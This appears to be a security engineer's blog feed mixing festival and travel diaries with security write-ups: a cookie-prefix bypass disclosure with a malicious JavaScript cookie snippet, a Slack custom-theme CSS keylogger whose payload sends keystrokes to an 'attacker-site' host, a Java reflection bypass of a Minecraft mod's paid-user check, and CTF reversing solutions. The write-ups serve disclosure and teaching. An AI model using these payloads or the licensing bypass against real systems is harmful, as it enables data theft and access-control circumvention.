Back in June my team and I found a vulnerability in the way multiple frameworks/languages parse cookies which could allow a potential attacker to bypass cookie prefixes. At its core the vulnerability exploits the fact that these languages decode the entire cookie string, which includes the name of the cookie. In most cases that’s fine however in some unique cases certain assumptions are made around the naming of cookies which this exploit is able to bypass. Rails (rack), Dotnet and PHP were all affected.
In each of the affected languages the flaw allowed for a __%48ost-
or __%53ecure-
cookie to be set without meeting the required attributes (I.e. set without HTTPS, from root domain, or from a secure page). This means a malicious cookie set by an attacker could potentially craft a malicious __%48ost-
and set it on their victim. Note: another exploit such as XSS would be required to actually set the cookie. What makes this dangerous is that an XSS vulnerability on a subdomain could even be used, bypassing any assumptions the server has around the cookie, for example __Host-
cookies only being set on the parent domain while __%48ost
cookies can be set anywhere.
If an attacker had XSS on a subdomain they could use the following snippet to set a malicious __%48ost-
cookie that would be read by the parent domain as a __Host-
cookie. Then the vulnerable language would decode the cookie and treat it as a __Host-
prefixed cookie:
1 | document.cookie = "__%48ost-evil=evil; domain=.example.com"; |
This is the example test case I submitted to rails to catch this issue. Similar tests were also submitted to PHP and Dotnet:
1 | describe Rack::Utils, "malicious cookie" do |
Ultimately this vulnerability lead to 3 CVEs:
Thanks to my team at GitHub for helping me identify this issue! Thanks to the Rails, PHP and Microsoft dotnet teams for the fixes!
]]>Back in August I found a vulnerability in Slack which allowed me to keylog slack input via custom themes. I came across this vulnerability when we were having some discussions in my work’s slack regarding using CSS to change the font to comic-sans
, as seen below:
1 | #FFFFFF;}*{FONT-FAMILY:"COMIC SANS MS" ;}STYLE~DIV,DIV[TABINDEX="-1"] |
Neat right? However this is pretty harmless and likely wouldn’t result in a bounty - maybe a low
for no input sanitization. However, I was determined to find a way in which this could genuinely become dangerous. A co-worker, d12, pointed out that #FFFFFF;} html {display:none;}
could be used to prevent the user’s slack instance from rendering, which is certainly much worse than just changing fonts. It should be noted that once one slack instance was modified all other instances were also modified since the theme was persisted across clients (yes… I managed to lock myself out of multiple slack test instances).
However, my ultimate goal was data exfiltration… wouldn’t it be great if we could see all the links to cat memes in the slack instance we’re not a part of? This is the point in which I learned that CSS supports attribute selectors for specific values. More specifically that CSS allows you to determine the most recent value added to any type of input via the [value$="<value>"]
selector. Furthermore, slack allows loading of external images. With this knowledge I present to you my very own custom slack theme:
1 | #FFFFFF;}INPUT[TYPE="TEXT"][VALUE$="A"] { BACKGROUND-IMAGE: URL("https://attacker-site/A"); },#350d36,#1264A3,#FFFFFF,#350D36,#FFFFFF,#2BAC76,#CD2553 |
This theme is capable of determining when the user types the letter A
into an <input type="text">
on slack. When the user does this the CSS will load the background image https://attacker-site/A
which can then be logged server side to indicate the user typed the letter A. This was as much of a PoC I needed to demo to slack that it was indeed possible to exfiltrate data provided the user actually applied the custom theme. Thankfully the 1-click custom theme option was not exploitable so it still required the user to copy/paste the theme which would certainly raise suspicions.
Here’s the PoC video I sent slack of the request being logged locally. Note how I go into channels instead of typing a message, that’s because the channel option used a text input while the message input was more complicated. I’m sure it would have been possible to write some CSS to select on the attributes there but this was enough to prove exfil was even possible.
Slack has kindly decided to disclose the vulnerability on hackerone.
For finding this vulnerability slack awarded me $500. I’m using that money to match donations to my Movember campaign. If you’d like to learn more or donate click here.
]]>What an amazing summer of festivals! I made some awesome new friendships as well as reunited with some old friends all for one reason: music! This summer I got to attend many music festivals and I’m going to do my best to summarize a few of them in this post.
To kick things off this summer I reignite the flame for dubstep with Global Dub Fest. It took place at Red Rocks and was actually my first festival there - it’s such a beautiful venue! It’s been a long time since I’ve listened to dubstep so I wasn’t quite sure what to expect but I was super happy to be able to see Adventure Club. Dubstep is actually what got me into EDM way back in 2012, I would listen to it while I programmed. At dub fest I met 2 amazing people whom I hope to attend more shows with in the future!
Following Global I attended a few local techno shows here in Denver, including some all night warehouse events. Those are pretty awesome since you’re raving from 1AM -> 8AM non-stop with people who are there for the music. One of my favorite was when Made in Paris was playing at a warehouse here in Denver. Near the end of June I flew out to SF to attend ASOT 900 with my friend Peng. It was great to attend a night of pure trance as well as catch up with a few friends in SF. On the way back from ASOT I met a couple who are from Denver and are also into Trance. Since then we’ve attended a bunch of shows in Denver at the Church, including Orjan Nilsen (thanks Vee for the guest list)!
In July I was able to attend Global Dance Fest in Denver, something I was really looking forward to. I saw that Krewella was going to be there and I’ve been wanting to see them live for a long time! Krewella is one of the first DJ groups I listened to and they threw down for their set at global! Unfortunately the second day of gloabl dance was a bust due to the weather and flash flooding. However I still had a great time and would definitely recommend it! It was actually crazy, they had to evacuate us into the Broncos stadium due to the festival grounds being completely flooded and crazy amounts of hail!
To wrap up an amazing summer of festivals I got to attend Tomorrowland. Unfortunately I missed the original ticket sale but I made some amazing friends who were able to get me a ticket (thank you so much Elsabe). I love Tomorrowland because it unites people from around the world. It’s always great to see the Discord crew too! We managed to sneak in a family photo at mainstage as well as attend a B-EAT session together! Furthermore, I’ve got some great friends, Chris & Laura, whom I got to meetup with and spend the weekend with! We’re all into trance and techno so we spent quite a bit of the weekend at the stunning Atmosphere stage. My favorite set of the weekend had to be Amelie Lens but Patrice Baumel was a close second (even though I missed half of his set while I was at the first aid station).
Finally, to close off the summer, I went to Flux Pavilion with a friend here in Denver. In summary it’s been a pretty awesome summer and it’s not even over! I’ve got a good lineup of festivals/shows coming up over the next few months. One I’m really looking forward to is Timewarp USA! Until next time. It’s truly important to cherish the friends you make in the music community
]]>This past weekend a co-worker bought his son a Minecraft mod and unfortunately, even after payment, it still refused to allow them to use it! This was nothing a bit of simple reverse engineering couldn’t solve. Thankfully, my co-worker came up with this nifty solution to get the mod working after they had purchased it. While his solution was great for a quick fix we discussed the possibility of moving it from a heavy 3rd party approach to a simpler approach using code.
Before jumping into coding it’s always important to perform a bit of research to determine the best approach, especially when it comes to reverse engineering. So I popped open JD-GUI (it’s been too long) and opened up the files of interest which my colleague had pointed:
My first idea was to simply inject some code which preventing the betaTesters(...)
event handler from ever being executed. Unfortunately, after some quick research, I determined this approach required using bytecode manipulation libraries such as ASM or BCEL which isn’t exactly lightweight. Realizing that injection like this would no longer work it was back to the drawing board.
Based off of my colleague’s research, it looks like the mod checks against a pre-defined list of minecraft user UUIDs which is loaded from pastebin. Instead of forcing the authentication to exit early, what if we could somehow inject our name into that list? Surely that would work as well.
After some more spelunking in JD-GUI it looks like the author left us a class variable to manipulate. Inside of the script which loads the authorized users is a private class variable testers
which is populated during runtime from the pastebin link. Sidenote: this means paid user’s can’t use it offline! What?!?! However, if we could add our name to that arraylist then we’re golden!
Java offers up a handy set of Reflection APIs which are often used to observe the runtime of an application. Reflection will actually allow us to do a little more than just observe in this case but before I go into too much detail there’s a few things I needed to check to make sure this approach would work:
testers
during runtime?After a bit of research I came up with these answers:
So now all we needed to do was get our Minecraft user’s UUID injected into the testers
variable during runtime and we’re off to the races.
Oh Java… how I haven’t missed you. After roughly an hour of dependency hell and debugging my java environment I finally managed to get minecraft and forge loading to the same versions that my colleague’s son plays on. Once I got all of that sorted out I made a simple “hello world” mod which loaded after the original mod. Based on the logs I could see the load order was being followed and all that was left was to inject our user into this testers
variable.
Using the reflection APIs I was able to come up with this first pass hard coded UUID test:
1 | // The class, including the package, which the testers variable exists in |
Breaking this down the Class.forName(clazz)
will find the mod’s checker class during runtime and getDeclaredField("testers")
will allow us to access to the testers field. At this point we can’t do anything with that field other than observe. Thankfully the Reflection API provides us a setAccessible(…) which we can use to make this field accessible from within our class, even though the original class set it to private. Lastly, all we needed to do was to inject our UUID into the the testers
ArrayList. Since the author set it as a static variable we’re able to retrieve the field’s value directly using get(null). Since we know testers is of type ArrayList<String>
we can cast to that and simply call .add(...)
with our UUID.
Unfortunately things didn’t quite work as expected… I was still locked out! I wonder why? After some more spelunking in JD-GUI it turns out that this check occurs multiple times throughout the mod. Thankfully the author appears to have copy/pasted the code so we were able to re-use the injection process giving us:
1 | // The classes we need to inject into |
Boom! We’re in! The last problem was allowing this to work for my colleague and his son. A hardcoded UUID wouldn’t work well here. My initial approach at solving this hurdle was to parse the user’s UUID from the web but once again we faced the same problem as the mod: no offline access! What’s my colleague’s son going to do when the internet goes out? Surely there was a better way to get this information without needing online access. Thankfully with the help of google and IntelliJ I was able to piece together a way to parse the user’s UUID without needing internet:
Minecraft.getMinecraft().getSession().func_148256_e().getId().toString()
A bit of explination how that did the magic I needed: Through googling I found that the type net.minecraft.util.com.mojang.authlib.GameProfile
had a getter for the user’s UUID. Unfortunately this wasn’t simply accessible via forge, since the minecraft client uses some extremely basic obfuscation techniques. However with IntelliJ I was able to find that the fancy func_148256_e()
which was typehinted to be the GameProfile
instance I was looking for.
And putting it all together we end up with:
1 | // The classes we need to inject into |
Of course all of that was wrapped in some boilerplate mod code. Furthermore, the injection mod’s manifest allowed me to specify that it depended on the other mod being loaded, which gives us 2 wins: we guarantee the other mod loads first and we guarantee the classes we’re looking for will exist at runtime. I didn’t really do any error handling other than just ignoring all errors so minecraft wouldn’t crash.
It’s been a while since I’ve touched minecraft but this made for a fun evening. Remember if you enjoy using these mods make sure to support the authors! I used to make plugins for minecraft and it really meant a lot to me when someone paid/donated! Hopefully you learned something and if you’re planning on using any knowledge you gained here, please make sure to use it for good. Support indie developers :)
]]>Last month I watched music bring the french alps alive for the first ever edition of Tomorrowland Winter. Not only did I get to watch music unite thousands of people but I also go to spend a month in Europe with some amazing friends.
To kick off the trip Forest and I traveled to the Netherlands to meet up with Jurre. It still amazes me that Jurre and I met online nearly 10 years ago! The first few days in the Netherlands I spent working out of GitHub’s Amsterdam office meeting my European colleagues while Jurre showed forest around Amsterdam. I’m truly blessed to be able to work with colleagues from around the world.
Since this was Forest’s first time so we made sure to show him all of the local sights. I somehow convinced him to try some kapsalon which is basically the dutch version of poutine. One of the nights we did a mini Tomorrowland discord meetup in Rotterdam. It’s amazing how possible it is to stay connected these days. At the end of the week Forest and I took a high speed train from Rotterdam to Paris to begin the next part of our journey.
Forest and I spent a week in Paris before heading to the festival. We were staying at a cozy AirBnB in the heart of Paris - only a metro ride away from everything. Our AirBnB host Carole gave us plenty of recommendations of places to check out including many places I missed during my first trip to Paris. One of my favorite sights during our stay in Paris was the catacombs, all of the skeletons made the atmosphere so eerie. We also made sure to visit the Eiffel Tower because what would a trip to Paris be without visiting it!
However, the best part about trips like this are the people you meet. Last summer when I traveled to Paris I got to hand deliver a gift to my sister’s Reddit secret Santa. Forest and I got to meet up with her again! Axelle even managed to convince Forest and I to try escargot… it was interesting to say the least. Following Paris we hopped on the highspeed train to make our way down to Lyon and begin our journey into the french alps.
What’s better than just a festival? How about a festival up in the beautiful French alps with some amazing skiing and stunning scenery! I met some others from Ottawa at Tomorrowland during the summer and we decided to all go together to the winter edition. Early Saturday morning we boarded the shuttle from Lyon to make our way to Alp D’Huez. We were staying in a beautify 8 person chalet no further than 100 meters from the slopes and the festival! It honestly felt so nice to be able to go back to the chalet and relax between sets. There were stages all over the place, over 10 stages with some of them being ski-only stages! One of the coolest spots for a stage was the north face one at the summit of the mountain which required you to 2 gondolas and a cable car to get there.
One of my favorite mountain stages had to be amicorium spectaculum. It was the perfect atmosphere and made for some great scenery while listing to the DJs. The best part about the stage was it’s size, it was small enough that it felt quite intimate yet you’re surrounded by mountains. Sometimes after the DJ finished their set they would even come down into the audience so you could meet them. The crew I was with were all big tecno/trance fans and we all go to meet Kolsch, Joris Voorn and Patrice Baumel. Of course it wouldn’t be the amicorium spectaculum with out performers! Tomorrowland always puts on a good show in that regard.
The stages in the village were spectacular - with pyro tehcnics, fireworks, CO2 cannons, and basically anything you could dream of at a festival. I didn’t spend much time at the mainstage, I only saw a few acts there. I did manage to make it to the rail for the closing set at Martin Garrix and boy was it ever slippery! Imagine a festival on a skating rink, that’s essentially what the mainstage was like (though it was a ton of fun to be pushed/slide around in the crowd). However my favorite stage was the rebuild of the freedom stage known as the Garden of Madness. Quite a few elements of the stage changed for example there’s no butterflies which come down from the ceiling. There were also quite a few that remained: tons of lasers, lights and the fact that it was still a sauna… I think they could have had better ventilation! Overall Tomorrowland did not disappoint with the stages.
My favorite set of the weekend was Charlotte de Witte’s set in the Garden of Madness - she absolutely killed it. The energy at her set was through the roof, I still remember waking up the next day feeling like my legs and arms were going to fall off from dancing so much! I didn’t get too much video from her set since I think it’s really important to live in the moment at events like these however I did manage to capture a brief glimpse of the insane atmosphere:
When I got back from Tomorrowland I was really excited to see that Charlotte was coming to Denver. As I write this I was actually able to see her here in Denver this past weekend. I was even lucky enough to meet Charlotte after her set and grab this amazing photo! I’ve seen her live 4 times now and she certainly doesn’t disappoint.
Checkout these awesome pictures I got on the trip!
]]>Four years ago I could only dream of working at a company like GitHub and now I’m here. 2018 has been one of the most fulfilling years of my life! There’s so much I’d love to recap in this post but I’ll limit it to the my main highlights of the year.
2018 started off with running uOttaHack, University of Ottawa’s first ever MLH hackathon. The hackathon took hundreds of hours of planning from an extremely dedicated team but the result was astonishing! The event brought over 400 students from all across Canada together for a weekend of hacking and learning. Our team was able to secure a stunning $50,000 in funding for a first time event! If you’re interested in learning more about what it’s like running a hackathon see my other blog post.
Shortly after the hackathon I graduated from University, a day I thought would never come. University was one of the best times of my life! Throughout university I was able to make some friendships which will last a lifetime. If I could give any advice to new students it would be: make the most of the extra curricular activities. There’s so many to choose from but some of my most fulfilling university experiences come from IEEE, uOttaHack, Pebble meetups, and other events. University is the time for you to find your passion and make the most of it; that’s how I developed my love for cyber security!
After graduation I had the opportunity to spend just over a month traveling Europe! The adventure began with my friend Joseph and I exploring Iceland. Iceland was beautiful and had some of the best nature sights of the entire trip! Following that Joseph and I met up with my friend Jurre in Amsterdam and we got to meet his family as well as visit his home. The three of us had a great time traveling around the Netherlands visiting Jurre’s home country. One day we even made it over to the edge of Germany and got to go on the autobahn… don’t worry we didn’t go that fast. Following that Joseph went home and Jurre and I embarked on the rest of our trip.
For the rest of the trip Jurre and I borrowed his parents car to travel along the west coast of Europe. In Belgium we went on a bike tour through Brussels and picked up some tasty Belgian chocolate. Next up we worked our way down to the UK - taking a train that we drove the car onto. Jurre and I stayed at a cozy AirBnB in Tonbridge where we watched England lose in the world cup (sorry every country I visited got eliminated, oops). We made some day trips to London and on one of them we connected with Maz, another friend from University. Unfortunately Big Ben was covered in scaffolding, but hey at least we’ve got clocks here too.
After London we worked our way in to western France for one of the most eye opening parts of the trip: Normandy. There was so much history in Normandy it was truly stunning to see first hand what the soldiers of WWII went through for our freedom. Jurre and I got to see the beaches which these soldiers landed on while facing absolutely terrifying German fortifications. One of the scariest and most eye opening areas was Pointe du Hoc, where soldiers climbed a cliff-side while being shot at. I’ve always been interested in WWII history and being able to see Normandy and the surrounding area firsthand was surreal.
After Normandy Jurre and I made our way to Paris where I got to personally hand deliver a Reddit Secret Santa gift on behalf of my sister. It was great being able to visit the Eiffel tower as well as the Mona Lisa. Finally Jurre and I made our way back to the Netherlands so that we could prepare for Tomorrowland! The festival was one of the best times in my life, I’ve never enjoyed my self so much. A while ago I wrote about my Tomorrowland experience, I definitely suggest checking it out!
After my trip to Europe I begun my career as a cyber security engineer at GitHub on their product security team. These first few months at GitHub have been some of the most interesting in terms of cyber security. I get to work with some extremely talented engineers daily and am constantly learning from them. I got to see token scanning, my intern project, get shipped at the keynote for GitHub Universe. Furthermore, I got to work on some awesome feature ships which impact millions of users daily… was the password you used found in a data breach? I can’t wait to see what the future has in store for me at GitHub!
Finally I finished the year by challenging myself to learn some new programming languages during Advent of Code. For those of you who may not know, AoC is like an advent calendar but instead of getting chocolate you get a new programming challenge each day, progressively getting more challenging. While my goal of using a new language every day was slightly ambitious I did get to use some interesting languages such as Whitespace and OCaml. I plan to circle back and finish the rest of the challenges at some point during 2019. All of my solutions can be found on my advent of code repo. I even made my own whitespace theme for sublime! I look forward to next year’s challenges and props to Eric Wastl for all of his hard work this year!
2018 was an amazing year and I can’t wait for what 2019 has in store! As I write this I’m sitting on the Santa Monica pier while I’m here for Appsec California. Following that I’ll be traveling to Europe again for a month for Tomorrowland winter with my friend Forest. While I’m there I’ll be meeting with some of my colleagues from the GitHub Amsterdam office as well as visiting Jurre. After that I’ll be running a workshop on whitehat hacking/CTFing at Locomocosec in Hawaii! If you’re looking for the best defensive cyber security conference in an amazing location look no further!
]]>This past weekend I watched music unite thousands of people from around the world for a weekend of happiness at Tomorrowland. This was my first time at Tomorrowland, or any festival for that matter, and it was hands down one of the best weekends of my life. Throughout the weekend I met people from all walks of life all coming together for the same reason: music. I’ve been watching the Tomorrowland livestream since 2012 and being able to finally experience it first hand in person is something completely different.
Since Jurre and I chose the Magnificent Greens camping option we were invited to the Gathering pre-party and I remember being in awe as I saw a DJ live for the first time. The amount of effort which went into the theme and decorations for the festival amazes me, from the garbage cans and lightposts to the walkways and stages everything is on theme. I could talk all day about decorations alone but instead I suggest checking out some of the pictures I took at the end of this post.
One of the coolest parts about the festival for me, besides meeting people, was probably the choreography of the sets. All the lights, fire, confetti, bubbles, and fireworks… All in sync as the beat drops. The feeling is just unreal, something I cannot describe. I also managed to bring back one of the coolest souvenir: my custom Canadian flag signed by the people of Tomorrow!
Since this was my first time at a festival I learned quite a bit! If you’re thinking of attending Tomorrowland next year then hopefully some of these tips will help:
The festival was so much more than just the music to me. Before even arriving I had planned to meet up with some people I met through the Tomorrowland discord server I’m a part of. It was a great feeling knowing I would have some friends to dance with before even arriving at the festival. One of them even made an epic garlic bread flag for all of us to sign! On Thursday there is a gathering event for participants who chose to camp. Essentially the Gathering is pre-party with a day of music and even a few surprise DJs. We had a killer surprise DJ lineup including Lost Frequencies, Netsky, and Armin Van Buuren! As I stated earlier, I couldn’t believe the gatering was just the pre-party!
Friday was the fist day of the festival. It started off with a nice all you can eat buffet style breakfast at the quaker farmhouse. I highly recommend eating there if you’re camping. It can be a bit pricey but you pay before the festival so no need to worry about breakfast while there plus there were no lines when I went. You can also do what I did and go for breakfast at 8 AM, and then go again for lunch at 11:30am right before they close. After breakfast I made the 20 minute walk over to the festival to start exploring. I spent the fist day with a couple I met at the garlic bread meetup the night before and we explored most of the smaller stages. Around 4:30PM we went over to the mainstage to watch the opening ceremony. I highly recommend doing this, especially if it will be your first time at the festival. The views were unreal, unlike anything I’ve seen before. Friday was crazy hot, almost 47 degrees Celsius at some points, so I made sure to drink plenty of water to stay hydrated. I suggest bringing a hydration pack as it makes camping the front of stages much easier. Later that evening I had the opportunity to meet Slushii and Netsky (thanks to Dorest0rm from discord), they even signed my flag!! I finished up the night at mainstage to watch the closing fireworks.
Saturday was a quieter day for me. Most of the artists I wanted to see were either on Friday or Sunday. Most of my day was spent discovering new artists and visiting the smaller stages I hadn’t yet seen. I think my favorite stage of the weekend was the Organ of Harmony, it just looks amazing. The Rose garden stage was a close second since it has a wicked dragon over top with the tail continuing into the lake. Later that evening I met Jon, another member from discord, and we finished off the night at Hardwell. I loved watching Hardwell’s set because he’s such a happy DJ! I don’t think he stopped smiling the whole time.
Sunday was my favourite day of the entire festival… save the best for last right? Almost all of the artists I wanted to see were playing on this day. In the afternoon I went by myself to get my panoramic photo by the Freedom stage. In line I noticed the girl behind me was also on her own so I asked her to sign my flag. We then took the panoramic photo together! That’s how I met Ofir… it turns out she was also going to see KSHMR later that day so we decided to meetup again to dance together at KSHRM’s set! We were 3 rows back from the front of the stage and even managed to appear on the livestream! I had such a great time dancing… I don’t think I ever danced so hard in my life. To close off the festival I met up with Jurre and we watched Martin Garrix’s set from the hills of the main stage. It was an unforgettable experience and I can’t wait for Tomorrowland 2019. I guess I got the crave to rave now?
I’m now on my way home and had such a wonderful time in Europe. I’ll be moving to Boulder, Colorado next week to start my new job at GitHub! I hope to add another post shortly about my trip across Europe. Be sure to check out the photos below of my experience at Tomorrowland.
]]>About a month ago I went NothSec, Canada’s premier cyber security conference & CTF. I was lucky enough to go with the SomRandomName team. Unfortunately we didn’t place in th CTF this year but I still learned so much! In this post I’ll talk about some of the challenges I helped solve.
Before I get too much into the challenge its self I want to talk a bit about the badge. At NSec we’re given a PCB with a few features (Bluetooth, LEDs, small display, debug ports, etc…) as our conference badge. During the days of the conference you’re able to analyze the conference firmware, creating tools to interact with the badge. My primary focus of the badge was being able to interact with the implemented bluetoth protocol. We were given some specs regarding the bluetooth so I opted to create a python script which uses the bluetooth controller on my macbook to interface with the badge.
Before diving too deep into the bluetooth operations it should be noted that any modification via bluetooth required the device to be unlocked via a sync key. The sync key could be found within the menus of the badge however one of my teammates noticed that the sync key was actually just derived from 4 bytes in the device name being XORed with 0xc3c3
. Once this was determined it became possible to “hack” anyone’s badge. I made this fun little script to perform almost any bluetooth action, though the LED stuff didn’t seem to work fully.
We were given this unknown binary, can you find the flag?
What command might reveal some of the text contents of the binary?
This challenge was pretty straightforward, even as a beginner (hence the title BabyRE). It was the perfect introduction to reverse engineering for me as I haven’t done much in the past. My first instinct was to attempt running strings on the program… and what do you know, it revealed some interesting information!
Based on this information it looks like we have the flag! So I attempted to concatenate all of the lines that appear related to the flag and submit…. nope wrong flag! Looking a bit closer at the flag we can see that the text appears to be only lowercase characters and numbers, infact it looks like hex. Each of the lines end in “H” so perhaps that’s just denoting that the contents are hex? Removing the H reveals FLAG-{0937122d036885153b0b8b50edd695599cf7c933fda497965dbcd24dd55924fc}
- submit and bam we’ve got the flag!
However I didn’t stop there but rather I decided to take a few minutes to look at the challenge in a disassembler (I chose to use IDA) just incase it gave some kind of indication how the upcoming challenges might have operated. For all of the BabyRE challenges I only followed the branches which lead to success, for example if no input fails then I would stop analyzing that branch. I personally found this the quickest way to solve the problems. I’m not going to go into too much detail about the IDA process here since I talk about it more in the BabyRE1 solution, however this is what the disassembly graph looked like:
We were given this unknown binary, can you find the flag?
Does ^ help at all?
Once again I started by running Strings. This time it looks like the string was obfuscated somehow – looks like more work is required. After some basic analysis I decided to hop right into reversing the binary with IDA. In hindsight I probably would have been better off running it through a debugger first with some test input just to see what’s happening.
Opening the binary in IDA revealed a challenge quite similar to that of BabyRE0. In fact it was so similar that only one section of the binary really changed, specifically the section at loc_4006c6
.
The important instruction to notice here is xor eax, 42h
, what this does is take the byte in EAX and XOR is with the byte 42H. This kind of trick is known as a single byte XOR and is an extremely simple method of “encrypting” data. All you need to do to get the data back is XOR each byte in the flag string, which was setup in the first block of the binary, with the value 42H. This will reveal FLAG-{d0d383e0baa1543470c9bdd5f5ded71875d121f502bf494e21723250c9641c4b}
. This is because the program loops over the string stored in memory and XORs each byte of that srting with the key.
We were given this unknown binary, can you find the flag?
Is that the CRC32 checksum of a file?
Once again I ran Strings which revealed nothing. Like BabyRE 1 I jumped right into disassembling the binary without performing any debugging. IDA revealed some useful information right away. Looking at the functions on the left hand side we can see that the program imports some File IO functions as well as implementing its own CRC32 function. I decided to make some assumptions for sake of time, firstly I assumed the CRC32 function is a valid CRC32 implementation and secondly I assumed the file must be read by the program in some standard fashion so the flag isn’t located in the areas which are just reading the file but rather what happens after the file is read.
This was probably the largest binary I’ve had to analyze in a reversing challenge so far. I decided to approach it differently, instead of trying to understand the program from the top down, I tracked back from the success function. Much like the previous challenges the success case is reached when the length of the string has been read, however before that length is reached the function appears to loop over some memory denoted by flag_string
and perform some operations. It should be noted that the flag_string
is just stored as bytes in the data section at 0x601080
and can easily be read as hex.
1 | A7 AD A0 A6 CC 9A D1 D7 85 80 D6 D0 D7 D7 D1 D6 |
Taking a look at loc_400A04
we can see a similar setup to BabyRE 1, in which xor edx, eax
is being used to decrypt the flag string. Looking closely at this block, the edx
register is being used to read bytes from the flag string while the eax register is being used to store the key for the XOR operation. In the current block we can see that xor_key
is moved into the eax
register right before the xor operation, so lets investigate what could potentially be stored at that location in memory. In IDA this is easily done by clicking the variable, IDA will proceed to highlight all locations the var is used. Here’s an overview of the block that I just analyzed.
At this point what I did was follow all branches up to the first location where xor_key
was used before the block which performed the xor operation. There’s a few things going on here which I’ll explain in a bit but essentially we can see that xor_key
is set from eax
, which is basically derived from xor_key_setter
. It should be noted that ida will give variables a default name, for example var_8083, however you can rename them, much like I did here, and all the occurrences will be updated. So now we must see where xor_key_setter
is set, tracing it back we notice the block right before uses xor_key_setter
. I cheated a little bit here since I noticed a comparison being done after xor_key_setter
was moved into eax, specifically the instruction is cmp eax, 0FC126AE1h
. Great, a hardcoded value! With this we can determine that the desired value of xor_key_setter
must be 0FC126AE1h
. No need to trace back any further.
Now remember I said the xor key is basically derived from xor_key_setter
. That’s because a small operation was performed to ensure that the key length is only one byte. Right now xor_key_setter
is 4 bytes long and we need it to be one byte. To do this the program performs moves xor_key_setter
into eax and then performs and eax, FF
which effectively shortens the length of the key to one byte, thus making the XOR key E1
.
Performing a single byte XOR on the flag string with E1
reveals FLAG-{06da71660714b7cf1406a056c76958cc5c5a06d22ce0b625dd076dd0988c9e43}
There was a simple message board service where we could also store encrypted data using keys of any length. It had a few files already loaded into the system, though it only required 2 to solve. Knowing nothing about the encryption algorithm we were tasked to solve the challenge.
Here were the two files which it let us attempt to decrypt, if given the wrong key it would just print out what it attempted to decrypt. Perhaps these two files are related in some way? To solve you need know knowledge of the service, so feel free to have a go! (It might be slightly more challenging without being able to “test” posting encrypted messages, but its still doable)
The key for the flag is the same key being used for the bible file.
The encryption algorithm is just a multibyte XOR, can you find the key? It helps knowing that the first five bytes of the flag are FLAG{
.
Going into this crypto challenge we know the first five bytes of the flag will always be FLAG{
. Based on some simple testing, by creating my own strings and having the service encrypt/decrypt them, I was able to determine that a multibyte xor was being performed. With these two pieces of information it becomes possible to leak the first few bytes of the key string, we just needed to determine what they were. Before proceeding I dumped the contents of the flag and the bible file from the service by using the key “a” then just reversing the xor operation and storing the output in a file. This made manipulation much easier, especially since I could now use tools like CyberChef to modify the data.
Using CyberChef’s XOR bruteforce, with a 5 byte key & the first 5 bytes of the original flag string I was able to get the first 5 bytes of the key: otjge
. With this information I attempted using that key on the bible file, and what do you know , the first five bytes of that file come out to: SCIEN
. That appears to be English to me, implying that the bible and the flag possibly use the same xor key. The next step was to determine the length of the key. To do this I padded the key with a
until it was possible to find other English words. I’d be curious to know if there’s a better approach to this since the whole process was quite manual. Anyhow I found the correct key length of 50 characters. All that was left was to find the correct values for each position, this can be done via bruteforce quite trivially. Basically just change the next character in the key until you find a place in the bible
which seems to make more sense. For example when I first decrypted with otjgeaaaa...
I saw the first word was SCIEN
. That appears to be the word science, so all I did was change that first a until I found the right character revealing SCIENC
and so on… Eventually it was revealed that the decryption key was otjgekximwdfdsbivpflrcifibjjprbsjqgpjtnkhbupanaggp
. All that was left was to xor that with the flag file to reveal: FLAG-d4aa1015c97c5b31c3d5a6076613e931
.
Here’s a scan of a piece of paper. Which model of printer was used to print that paper?
How did they know it was Snowden that leaked those documents?
This forensics problem is based around the fact that, for many years, colored printers printed near invisible information on every page they printed. It was some information encoded in yellow dots stating the print date and serial model. In 2005 the EEF was able to decode the information stored in these yellow dots. I remembered reading an article about them from around 2010 and through that was able to solve this challenge with ease. There were 3 stages to this challenge: the first part was the PDF which was given above, the second part was a physical piece of paper with the dots on it, and finally the 3rd part was a 2000 page book which was scanned but then one page was rescanned and you needed to find it.
Decoding the dots revealed the date which the piece of paper was printed: 20170914, thus that was the flag.
For this challenge we were given access to a website which had a form client side authentication. We were tasked with breaking the authentication:
Wast could make this easer?
By analyzing the sources it was immediately evident that the application was using web assembly as the core for authentication. The JS in the main challenge page clearly called, or should I say ccalled
, an authentication function with the username and password. Solving this challenge was going to rely on some reverse engineering knowledge. Once again I took the more difficult approach of disassembling instead of just debugging to understand what’s going on. I didn’t even realize it but chrome and firefox actually both support debugging of web assembly!I opted to use wabt’s online disassembler to convert the binary to WebAssembly Text Format, or wat for short. With this I was able to begin disassembly and commenting.
Since I’m not familiar with WebAssembly and much less so with disassembling it I decided to start with inspecting the entire WAT file to look for some clues. At the second highest level we can see a few things: some type decelerations, a few imported functions, some function decelerations (f0, f2, authenticate, and some stack manipulations), a couple of global vars, and a data section. Two things stood out here:
The data section
Here we can see a bunch of data followed by the word admin. The data appears to be hex, denoted by \XX
. We also know from earlier some “ccall” was used and the data ends in \00. That looks like a null byte! So what it seems like is that we have some binary data, likely the encrypted password, followed by the username admin.
The Authenticate function
Before diving into the function itself I needed to do some research on WebAssembly and what the instructions and types are. For the most part everything in this challenge is pretty self explanatory however I wanted to make sure I was reversing it correctly. The Mozilla documntation is quite thorough on WASM and I would really suggest checking it out.
Earlier we saw that the javascript made a call to the authenticate function passing the username and password as parameters. We can see that they are then stored in local vars on the stack as $p0
and $p1
respectively. Right away the first instruction we see being executed is a call to f2
passing the $p1
var (password) as well as -1 constant value. This is probably a good area to investigate since it is using the password variable. note the following may be wrong but it was how I solved it at the time, if you know WASM please correct me! From a very high level this function sets up a local variable, $l0
, as a 32 bit integer and then loads the $p1
local var into $l0
. However, during this process the load8_s
instruction is used which, from my understanding, loads the signed byte into the local var. Remember that the the constant passed was -1, so in binary that would be ff
, thus making the variable $l0
become ffffffff
. Finally we loop over $L1
… not too sure where $L1
came from but I just assumed it was a local counter related to the length of the global data… doesn’t really matter too much in the context of this problem though if anyone knows where $L1
comes from please let me know! Anyhow, in the loop we can see that an XOR is performed with the value being stored back into $p0
.
So that was probably a lot to take in, but the gist of it is that we loop over the password and XOR it with a constant of ff
in the function $f2
, thus all that is happening in the WASM is a single byte xor on the password. From this point forward I made the assumption that the bytes stored in global memory were XORed with the value ff
and revering this process reveals: FLAG-07B00FB78E6DB54072EEF34B9051FA45
. Success!
Hopefully you all learned something new too! See ya next year NSec!
